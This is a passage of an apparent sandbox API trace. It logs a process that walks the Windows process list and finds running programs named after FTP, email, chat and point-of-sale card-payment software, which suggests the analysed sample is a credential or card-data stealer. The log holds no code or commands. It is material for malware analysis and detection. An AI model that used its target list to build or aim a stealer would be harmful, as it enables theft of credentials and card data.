th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0064.439] GetLastError () returned 0x12 [0064.439] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0064.439] GetLastError () returned 0x12 [0064.440] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.440] GetLastError () returned 0x12 [0064.440] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.442] GetLastError () returned 0x12 [0064.442] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.443] GetLastError () returned 0x12 [0064.443] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.443] GetLastError () returned 0x12 [0064.444] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.444] GetLastError () returned 0x12 [0064.444] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.445] GetLastError () returned 0x12 [0064.445] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0064.446] GetLastError () returned 0x12 [0064.446] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.446] GetLastError () returned 0x12 [0064.447] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0064.447] GetLastError () returned 0x12 [0064.447] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.448] GetLastError () returned 0x12 [0064.448] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.449] GetLastError () returned 0x12 [0064.449] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0064.450] GetLastError () returned 0x12 [0064.450] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0064.450] GetLastError () returned 0x12 [0064.450] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x70c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0064.451] GetLastError () returned 0x12 [0064.451] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.452] GetLastError () returned 0x12 [0064.452] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0064.453] GetLastError () returned 0x12 [0064.453] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0064.453] GetLastError () returned 0x12 [0064.453] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0064.454] GetLastError () returned 0x12 [0064.454] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.455] GetLastError () returned 0x12 [0064.455] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0064.456] GetLastError () returned 0x12 [0064.456] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0064.456] GetLastError () returned 0x12 [0064.456] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0064.457] GetLastError () returned 0x12 [0064.457] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="paper left.exe")) returned 1 [0064.458] GetLastError () returned 0x12 [0064.458] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead possible.exe")) returned 1 [0064.459] GetLastError () returned 0x12 [0064.459] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="store future.exe")) returned 1 [0064.460] GetLastError () returned 0x12 [0064.460] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient_coach_choose.exe")) returned 1 [0064.460] GetLastError () returned 0x12 [0064.461] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bank_he.exe")) returned 1 [0064.461] GetLastError () returned 0x12 [0064.461] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="such_human.exe")) returned 1 [0064.462] GetLastError () returned 0x12 [0064.462] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="employee.exe")) returned 1 [0064.463] GetLastError () returned 0x12 [0064.463] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="music.exe")) returned 1 [0064.463] GetLastError () returned 0x12 [0064.464] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="societybitofficial.exe")) returned 1 [0064.464] GetLastError () returned 0x12 [0064.464] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="position_star.exe")) returned 1 [0064.465] GetLastError () returned 0x12 [0064.465] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="itself-material.exe")) returned 1 [0064.466] GetLastError () returned 0x12 [0064.466] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="homenothingbook.exe")) returned 1 [0064.466] GetLastError () returned 0x12 [0064.467] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mean.exe")) returned 1 [0064.467] GetLastError () returned 0x12 [0064.467] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="problem-public-use.exe")) returned 1 [0064.468] GetLastError () returned 0x12 [0064.468] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0064.469] GetLastError () returned 0x12 [0064.469] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0064.469] GetLastError () returned 0x12 [0064.470] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0064.470] GetLastError () returned 0x12 [0064.470] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0064.471] GetLastError () returned 0x12 [0064.471] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0064.472] GetLastError () returned 0x12 [0064.472] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0064.632] GetLastError () returned 0x12 [0064.632] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0064.633] GetLastError () returned 0x12 [0064.633] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0064.634] GetLastError () returned 0x12 [0064.634] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0064.635] GetLastError () returned 0x12 [0064.635] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0064.636] GetLastError () returned 0x12 [0064.636] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0064.637] GetLastError () returned 0x12 [0064.637] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0064.637] GetLastError () returned 0x12 [0064.637] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0064.638] GetLastError () returned 0x12 [0064.638] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0064.639] GetLastError () returned 0x12 [0064.639] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0064.640] GetLastError () returned 0x12 [0064.640] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0064.641] GetLastError () returned 0x12 [0064.642] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0064.642] GetLastError () returned 0x12 [0064.643] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0064.644] GetLastError () returned 0x12 [0064.644] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0064.645] GetLastError () returned 0x12 [0064.646] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0064.647] GetLastError () returned 0x12 [0064.647] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0064.648] GetLastError () returned 0x12 [0064.648] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0064.649] GetLastError () returned 0x12 [0064.649] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0064.650] GetLastError () returned 0x12 [0064.650] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0064.651] GetLastError () returned 0x12 [0064.651] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0064.652] GetLastError () returned 0x12 [0064.652] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0064.653] GetLastError () returned 0x12 [0064.653] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0064.654] GetLastError () returned 0x12 [0064.654] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0064.655] GetLastError () returned 0x12 [0064.655] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0064.656] GetLastError () returned 0x12 [0064.656] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0064.657] GetLastError () returned 0x12 [0064.657] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0064.658] GetLastError () returned 0x12 [0064.658] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0064.659] GetLastError () returned 0x12 [0064.659] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0064.660] GetLastError () returned 0x12 [0064.660] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0064.661] GetLastError () returned 0x12 [0064.661] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0064.662] GetLastError () returned 0x12 [0064.662] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0064.663] GetLastError () returned 0x12 [0064.663] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0064.664] GetLastError () returned 0x12 [0064.664] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0064.665] GetLastError () returned 0x12 [0064.665] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, 